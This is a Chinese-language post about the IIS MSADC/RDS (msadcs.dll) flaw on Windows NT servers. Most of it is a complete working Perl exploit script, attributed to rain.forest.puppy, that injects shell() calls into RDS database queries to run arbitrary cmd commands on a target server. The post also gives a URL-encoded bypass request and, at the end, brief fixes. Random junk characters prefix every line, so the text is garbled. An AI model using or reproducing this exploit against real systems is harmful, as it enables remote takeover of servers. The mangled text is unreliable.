IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
w(n&(5FzB< Fgxh?Wd9 涉及程序：
hFuS>Hx Microsoft NT server
%yJL-6U wA)
NB 描述：
EaFd1 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
WaF<qhu* u*{hXR-" 详细：
r Y|'<$wvg 如果你没有时间读详细内容的话，就删除:
F%bv
vw*( c:\Program Files\Common Files\System\Msadc\msadcs.dll
E*>tFw&[ 有关的安全问题就没有了。
enlk)_btp i68'|4o 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
vlIet$ k _ZIaEJjH/ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
P1 =bbMk 关于利用ODBC远程漏洞的描述，请参看:
Q[scmP ^$^ m, aJ( 8G http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l@4hBq a)PBC{I 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
8^&)A b http://www.microsoft.com/security/bulletins/MS99-025faq.asp `da6}Vqj: I:u xj% 这里不再论述。
lZV]Z3=p'0 }\=9l<| 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
jii2gtu'U ?c"No|@+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
: aLShxKA 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
26>e0hBh& VXZd RsV8T = t<!W #将下面这段保存为txt文件，然后: "perl -x 文件名"
kOETx 6g29!F`y #!perl
;5ugnVXu #
qD7(+a # MSADC/RDS 'usage' (aka exploit) script
IE: x&q`3 #
ii 2X7Q # by rain.forest.puppy
,AGK O ,w #
Lg|j0-"N # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
V%dMaX>^i # beta test and find errors!
HGfYL')Z Dd< gYPC use Socket; use Getopt::Std;
B{H;3{0 getopts("e:vd:h:XR", \%args);
Q/\
<r G4 qc|;qP j print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
4o9#B:N]J 2$yKa5SaX if (!defined $args{h} && !defined $args{R}) {
eT[ ,k[#q print qq~
e%`gD* 8 Usage: msadc.pl -h <host> { -d <delay> -X -v }
?JzLn,& -h <host> = host you want to scan (ip or domain)
($ 7>\"+Tl -d <seconds> = delay between calls, default 1 second
{3 yzC -X = dump Index Server path table, if available
v+znKpE -v = verbose
60[f- 0X -e = external dictionary file for step 5
G'MYTq 5b0Ipg Or a -R will resume a command session
jbpnCUzi 6| X ~; exit;}
zu(/ c (03m%\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Bqv Oi~ l if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
LDBxw if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
m=z-}T5y!T if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
!lm^(SSv $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_:+W0YS if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
L7G':oA_`p fxI>FhU_ if (!defined $args{R}){ $ret = &has_msadc;
h\Op|#gIT die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
+I/7eIG?| {[hV ['Awv print "Please type the NT commandline you want to run (cmd /c assumed):\n"
$ n`<,;^l . "cmd /c ";
yi"V'Us $in=<STDIN>; chomp $in;
q Xt 2 m $command="cmd /c " . $in ;
"%D+_Yb'X @'?<9 2A if (defined $args{R}) {&load; exit;}
A~\:}P N M cNj TD print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
/_ xwHiA &try_btcustmr;
8~ .r/!wfy =9i:R !,W print "\nStep 2: Trying to make our own DSN...";
6f? 5/hq &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
B*zb0hdo: 1jh^-d5 print "\nStep 3: Trying known DSNs...";
nFzhj%Pt; &known_dsn;
(jP N+yQ 3VCyq7 B^ print "\nStep 4: Trying known .mdbs...";
C;oP"K]4= &known_mdb;
1zGEf&rv: ) Y\} ,O if (defined $args{e}){
xh#e f=Bw print "\nStep 5: Trying dictionary of DSN names...";
I= x &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|5V#&e\ES FnP/NoZa> print "Sorry Charley...maybe next time?\n";
Z]1~9:7ap exit;
s_.q/D@vu A_{QY&%m ##############################################################################
rD%(*|Y"c yT-m9$^v sub sendraw { # ripped and modded from whisker
]QtdT8~ sleep($delay); # it's a DoS on the server! At least on mine...
TqKL(Qw
E my ($pstr)=@_;
)KaQ\WJ: socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'ujt w:Z: die("Socket problems\n");
{3$ge if(connect(S,pack "SnA4x8",2,80,$target)){
|}QDC/ select(S); $|=1;
7_E+y$i= print $pstr; my @in=<S>;
~~;fWM ' select(STDOUT); close(S);
Q6MDhv, return @in;
1#(,Bq4 } else { die("Can't connect...\n"); }}
'iXjt
MX VaZS_ qGe: ##############################################################################
}qc [ysDK] ]0 ouJY sub make_header { # make the HTTP request
2(5 wFc my $msadc=<<EOT
OB6I8n XW POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
oE "! User-Agent: ACTIVEDATA
Nq9Qsia& Host: $ip
@gE
+T37x2 Content-Length: $clen
|; $fy- Connection: Keep-Alive
G&/}P$ \&2GLBKpe
ADCClientVersion:01.06
k1$|v zMh Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
!g=, O6 k#JFDw\ --!ADM!ROX!YOUR!WORLD!
q0`Vw% Content-Type: application/x-varg
@K4} cP Content-Length: $reqlen
gO* cX& %ghQ#dZ]& EOT
5}*aP ; $msadc=~s/\n/\r\n/g;
EK@yzJ % return $msadc;}
;?=nr 5;q 5>KAVtYvc ##############################################################################
V/"0'H\"1
Ca@[]-_H sub make_req { # make the RDS request
3hO` GM my ($switch, $p1, $p2)=@_;
#T#&qo# my $req=""; my $t1, $t2, $query, $dsn;
bk2 HAG s:*gjoL if ($switch==1){ # this is the btcustmr.mdb query
gBYL.^H^l $query="Select * from Customers where City=" . make_shell();
Yah3I@xGy $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
7 g $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
^zs CF0 u-O wL1S+ elsif ($switch==2){ # this is general make table query
=ub&@~E $query="create table AZZ (B int, C varchar(10))";
VG&|fekF $dsn="$p1";}
nP 2 rN_:4 %lv2 ;- elsif ($switch==3){ # this is general exploit table query
~UK)
p;| $query="select * from AZZ where C=" . make_shell();
^=OjsN $dsn="$p1";}
e>nRJH8pK F m h;d*IT elsif ($switch==4){ # attempt to hork file info from index server
(z ;=3S $query="select path from scope()";
87~. |nu $dsn="Provider=MSIDXS;";}
U QXT&w [%P_
Y/ elsif ($switch==5){ # bad query
IJS9%m# $query="select";
p'KU!I } $dsn="$p1";}
Tud[VS?99 6by5VESx $t1= make_unicode($query);
9S=9m[#y' $t2= make_unicode($dsn);
^CZn<$ $req = "\x02\x00\x03\x00";
[g=yuVXNZZ $req.= "\x08\x00" . pack ("S1", length($t1));
nHD4J;l $req.= "\x00\x00" . $t1 ;
&1]}^/u2 $req.= "\x08\x00" . pack ("S1", length($t2));
~S"G~a(&j $req.= "\x00\x00" . $t2 ;
swi | $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
/Wg$.<!5 } return $req;}
)P:TVe9` J^n(WnM*F ##############################################################################
kn+`2-0 72~)bu sub make_shell { # this makes the shell() statement
ws?p2$ Cla return "'|shell(\"$command\")|'";}
qFe|$rVVIl N=tyaS(YJ ##############################################################################
],qG!,V NkNw9?: #4 sub make_unicode { # quick little function to convert to unicode
ofcoNLX5c my ($in)=@_; my $out;
<\X4_sdy for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
qIA!m
.GC return $out;}
)l [ +7 [g&Q_+,j ##############################################################################
cU%#oEMf< c{|soc[# sub rdo_success { # checks for RDO return success (this is kludge)
dfc-#I
p? my (@in) = @_; my $base=content_start(@in);
+r4US or if($in[$base]=~/multipart\/mixed/){
78dmXOZ'_h return 1 if( $in[$base+10]=~/^\x09\x00/ );}
~u,g5 return 0;}
xx!o]D-} s67$tlV ##############################################################################
I0m/ 6M+~{9(S sub make_dsn { # this makes a DSN for us
;\4}Hcg my @drives=("c","d","e","f");
|=jgrm1yj print "\nMaking DSN: ";
u"X8(\pOn foreach $drive (@drives) {
Qi6vP& print "$drive: ";
s8@f Z4 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
N 7+K$)3 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Tk.MtIs)V} . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
OaU} 9& $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
pfZn<n5p return 0 if $2 eq "404"; # not found/doesn't exist
d/P$q MD if($2 eq "200") {
w
V2 7 foreach $line (@results) {
C(e!cOG return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
=*8"ci $ } return 0;}
MSRIG- }! zjj\g^ ##############################################################################
ou,W |<% r-4I{GPb sub verify_exists {
]y .,J my ($page)=@_;
c?jjY4u my @results=sendraw("GET $page HTTP/1.0\n\n");
8ru@ 8|r return $results[0];}
4sNM#]%| N|1J @"H ##############################################################################
Di h~5 =E4nNL? sub try_btcustmr {
6Oo'&3@ my @drives=("c","d","e","f");
!l.Rv_o<O my @dirs=("winnt","winnt35","winnt351","win","windows");
m_\CK5T_ 5> h2WL foreach $dir (@dirs) {
OjrQ[`(E print "$dir -> "; # fun status so you can see progress
-?LSw foreach $drive (@drives) {
xv4nYm9 print "$drive: "; # ditto
bTHJb pt*- $reqlen=length( make_req(1,$drive,$dir) ) - 28;
E%H,Hk^ $reqlenlen=length( "$reqlen" );
w<\N-J|m $clen= 206 + $reqlenlen + $reqlen;
1D=My1B Y$oBsg\v my @results=sendraw(make_header() . make_req(1,$drive,$dir));
t M A if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*zz/U
(9D else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
2S!=2u+7 \f /<# ' ##############################################################################
~5p
`Kg* nqiy)ZN#R sub odbc_error {
6JK;]Ah my (@in)=@_; my $base;
4fP>;9[F my $base = content_start(@in);
]6=cSs! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
`pII-dSC% $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yKDg
~zsh $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
YdC:P#
Nf $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
3bE^[V8/ return $in[$base+4].$in[$base+5].$in[$base+6];}
CZwZ#WV6 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
"* 'r zd print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
W{ N hh3 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
s2w .V
O
;=B&t @ ##############################################################################
8&`s wu& -#)xe W.d sub verbose {
S&.DpsK my ($in)=@_;
g*Cs /w return if !$verbose;
U$0#j print STDOUT "\n$in\n";}
"#[Y[t\Ia y}#bCRy~.A ##############################################################################
%9Ulgs8 = zZ;tSKL sub save {
9W'#4 my ($p1, $p2, $p3, $p4)=@_;
"8{u_+_B* open(OUT, ">rds.save") || print "Problem saving parameters...\n";
/V&$SRdL* print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{d^&$~ close OUT;}
VZ_ 4B *D h Q<" ##############################################################################
yDy3;*lE eZP"M 6 sub load {
2! &:V] my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
YW /YeID open(IN,"<rds.save") || die("Couldn't open rds.save\n");
hnE@+(d=qJ @p=<IN>; close(IN);
'<1 T>|`/t $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
mjy%xzVr6^ $target= inet_aton($ip) || die("inet_aton problems");
fa<83<.D print "Resuming to $ip ...";
k}jH $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
'%K,A-7W if($p[1]==1) {
/ 6L\`\g $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/!7m@P|&D $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
W.0dGUi* my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
7 NJ1cQ-}t if (rdo_success(@results)){print "Success!\n";}
!7 *X{D v else { print "failed\n"; verbose(odbc_error(@results));}}
tLV9b %i( elsif ($p[1]==3){
`<\AnhNW]I if(run_query("$p[3]")){
p|AIz3 print "Success!\n";} else { print "failed\n"; }}
v\\Z[,dK elsif ($p[1]==4){
%) q5h B if(run_query($drvst . "$p[3]")){
U_M > Q_r( print "Success!\n"; } else { print "failed\n"; }}
}tj@* n_ exit;}
(A( d]l hnG'L*HooE ##############################################################################
nC[L"%E|se i~l0XjQb s sub create_table {
\>9%=32u. my ($in)=@_;
lBPZB% $reqlen=length( make_req(2,$in,"") ) - 28;
fdp/c wd $reqlenlen=length( "$reqlen" );
Y
Xn)? $clen= 206 + $reqlenlen + $reqlen;
c9f~^}jNb my @results=sendraw(make_header() . make_req(2,$in,""));
O '$:wc# return 1 if rdo_success(@results);
u CUQxFp my $temp= odbc_error(@results); verbose($temp);
M^+~r,D1u return 1 if $temp=~/Table 'AZZ' already exists/;
KvktC|~? return 0;}
Ld+}T"Z&M> :5h&f ##############################################################################
bk#u0N H={fY:% sub known_dsn {
?c=l "\^x # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
1 ht4LRFi my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
p,ZubR J " "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
F/@#yQv? "banner", "banners", "ads", "ADCDemo", "ADCTest");
h}+,]^ (lEWnf=2h foreach $dSn (@dsns) {
&o:ZOD. print ".";
yUEU IPL next if (!is_access("DSN=$dSn"));
m6'YFpf)V if(create_table("DSN=$dSn")){
_!w# {5~ print "$dSn successful\n";
$@Hw DRP if(run_query("DSN=$dSn")){
0~n= | 3*P print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1Pn!{ bU3@ print "Something's borked. Use verbose next time\n";}}} print "\n";}
D2?~03c
1V JE+3 ##############################################################################
97$y,a{6 C "hc.A&4 sub is_access {
) `;?%N\ my ($in)=@_;
n g<|lsZd $reqlen=length( make_req(5,$in,"") ) - 28;
zjVb+Z\n $reqlenlen=length( "$reqlen" );
CEI#x~Oq $clen= 206 + $reqlenlen + $reqlen;
C5;"mo- my @results=sendraw(make_header() . make_req(5,$in,""));
SM0= my $temp= odbc_error(@results);
=B;rj verbose($temp); return 1 if ($temp=~/Microsoft Access/);
&/a/V return 0;}
C{e:xGJK ` LU&]NS3 ##############################################################################
%;n y '4N[bRCn sub run_query {
!f_Kq$.{ my ($in)=@_;
%T1(3T{Li $reqlen=length( make_req(3,$in,"") ) - 28;
|@V<} 2zCZ $reqlenlen=length( "$reqlen" );
|%b' L.$4 $clen= 206 + $reqlenlen + $reqlen;
B4U+q|OD# my @results=sendraw(make_header() . make_req(3,$in,""));
-+O8v;aC' return 1 if rdo_success(@results);
V{c
n1Af my $temp= odbc_error(@results); verbose($temp);
+F+jC9j(< return 0;}
[&)9|EV K$f~Fft ##############################################################################
lC^q}Bh: ?vM{9!M sub known_mdb {
Eepy%-\ my @drives=("c","d","e","f","g");
L(AY) gB my @dirs=("winnt","winnt35","winnt351","win","windows");
Nu|?s- my $dir, $drive, $mdb;
lD 9'^J my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
< qv:7@ H-0d eJ[> # this is sparse, because I don't know of many
se7_:0+w my @sysmdbs=( "\\catroot\\icatalog.mdb",
s )_sLt8? "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
<R_3; 5J% "\\system32\\certmdb.mdb",
3}Uae#oy "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
QeU>%qK T rK)%n!Z my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
WS2TOAya) "\\cfusion\\cfapps\\forums\\forums_.mdb",
\XmtSfFC "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
vmW 4a3 "\\cfusion\\cfapps\\security\\realm_.mdb",
8fZ\})t "\\cfusion\\cfapps\\security\\data\\realm.mdb",
@HaWd 3 "\\cfusion\\database\\cfexamples.mdb",
,!u^E|24
"\\cfusion\\database\\cfsnippets.mdb",
NoiU5 pP "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_ mFb+8C "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Q_M2!qj "\\cfusion\\brighttiger\\database\\cleam.mdb",
A}[Lk#|n "\\cfusion\\database\\smpolicy.mdb",
Y$Os&t@bu "\\cfusion\\database\cypress.mdb",
Q7 `zrCh "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
w;{k\=W3Ff "\\website\\cgi-win\\dbsample.mdb",
qH"0?<$9 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
qlDLZ. "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
M!m TNIj8~ ); #these are just
PP$Ig2 Q foreach $drive (@drives) {
n |.- :Zy foreach $dir (@dirs){
5M*q{kX) foreach $mdb (@sysmdbs) {
!)_5 z < print ".";
l. b if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
#`}g?6VHo print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
aLhTaB-va if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
0*q~(.>a print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
d|DIq T~{W } else { print "Something's borked. Use verbose next time\n"; }}}}}
[y>Q3UqN :tR%y" foreach $drive (@drives) {
$3"0w foreach $mdb (@mdbs) {
("m W=Ln print ".";
_czLKbcF if(create_table($drv . $drive . $dir . $mdb)){
u%v^(9z print "\n" . $drive . $dir . $mdb . " successful\n";
c3oI\l U
if(run_query($drv . $drive . $dir . $mdb)){
OJkPl Dym print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
2ZLK`^S } else { print "Something's borked. Use verbose next time\n"; }}}}
_v]I6<!5U }
&t p5y}=n Wpj.G ##############################################################################
b*.)m 6^|bKoN/ f sub hork_idx {
L{
.r8wSrI print "\nAttempting to dump Index Server tables...\n";
;|9VPv/ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
@RT yCr $reqlen=length( make_req(4,"","") ) - 28;
=> -b?F0(c $reqlenlen=length( "$reqlen" );
aU#8W.~ $clen= 206 + $reqlenlen + $reqlen;
o{>hOs
& my @results=sendraw2(make_header() . make_req(4,"",""));
5Ko "- if (rdo_success(@results)){
}qb z &%R my $max=@results; my $c; my %d;
ilFM+x @ for($c=19; $c<$max; $c++){
? Vt$ $results[$c]=~s/\x00//g;
V 9=y@`; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
MV=.(Zs $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
B}r@x z $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
MZ0uc2L= $d{"$1$2"}="";}
li
NPXS+ foreach $c (keys %d){ print "$c\n"; }
?9=yo5M} } else {print "Index server doesn't seem to be installed.\n"; }}
1Rl`}7Km 2LD4f[a; ##############################################################################
)t)tk=R9N UP, 0`fh(y sub dsn_dict {
Jz3 q
Pr open(IN, "<$args{e}") || die("Can't open external dictionary\n");
f_;3|i while(<IN>){
T5Pc2R $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
4.??U!r>KI next if (!is_access("DSN=$dSn"));
~zYp(#0op if(create_table("DSN=$dSn")){
73N %_8DH print "$dSn successful\n";
xx/DD%IZ if(run_query("DSN=$dSn")){
1
4(?mM3
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
|f RajuA; print "Something's borked. Use verbose next time\n";}}}
?8vjHEE print "\n"; close(IN);}
ed\,FWR FV F: 1DT ##############################################################################
NK"y@)%0 a#G7pZX/I} sub sendraw2 { # ripped and modded from whisker
]G| @F
: sleep($delay); # it's a DoS on the server! At least on mine...
_#N~$ my ($pstr)=@_;
'@pa v>UPD socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
iW |]-Ba\ die("Socket problems\n");
ncS^NH(& if(connect(S,pack "SnA4x8",2,80,$target)){
s'LG3YV-< print "Connected. Getting data";
5HOhk"
open(OUT,">raw.out"); my @in;
dcXtT3,kpX select(S); $|=1; print $pstr;
ugMJ} IGq while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
*sL'6"#Cre close(OUT); select(STDOUT); close(S); return @in;
[~jh Ov^ } else { die("Can't connect...\n"); }}
%J+ $p\c 9rA3qj% ##############################################################################
1X#`NUJ?2 &;%+Hduc sub content_start { # this will take in the server headers
uiiA)j*! my (@in)=@_; my $c;
y/kCzD T , for ($c=1;$c<500;$c++) {
0*tEuJ7 if($in[$c] =~/^\x0d\x0a/){
r-[z!S
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
4H\O&pSS else { return $c+1; }}}
7& HP2r return -1;} # it should never get here actually
y{jv-&!xB iB]kn(2C ##############################################################################
.cu5 h 8mCr6$|% sub funky {
.X:{s,@ my (@in)=@_; my $error=odbc_error(@in);
:ye)%UU"|: if($error=~/ADO could not find the specified provider/){
sav2 .w print "\nServer returned an ADO miscofiguration message\nAborting.\n";
@br%:Nt exit;}
^//N-?Fx if($error=~/A Handler is required/){
6j`
waK print "\nServer has custom handler filters (they most likely are patched)\n";
T-<^mX[} exit;}
x /9`2X`~ if($error=~/specified Handler has denied Access/){
f_z2d+ print "\nServer has custom handler filters (they most likely are patched)\n";
yK}#|b'cM exit;}}
2 etlR />f`X+ d ##############################################################################
Z?v9ub~ % ,eZ'pxt sub has_msadc {
{/ty{ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
"bw4 {pa+ my $base=content_start(@results);
A\SbuRty return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
M 5% xp.B return 0;}
*b7 v)d# ;9p rsv f
########################
;dB=/U>3U 6\E |` y X S/3_A{ 解决方案：
E bq5P$ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
^ro?.,c T 2、移除web 目录: /msadc
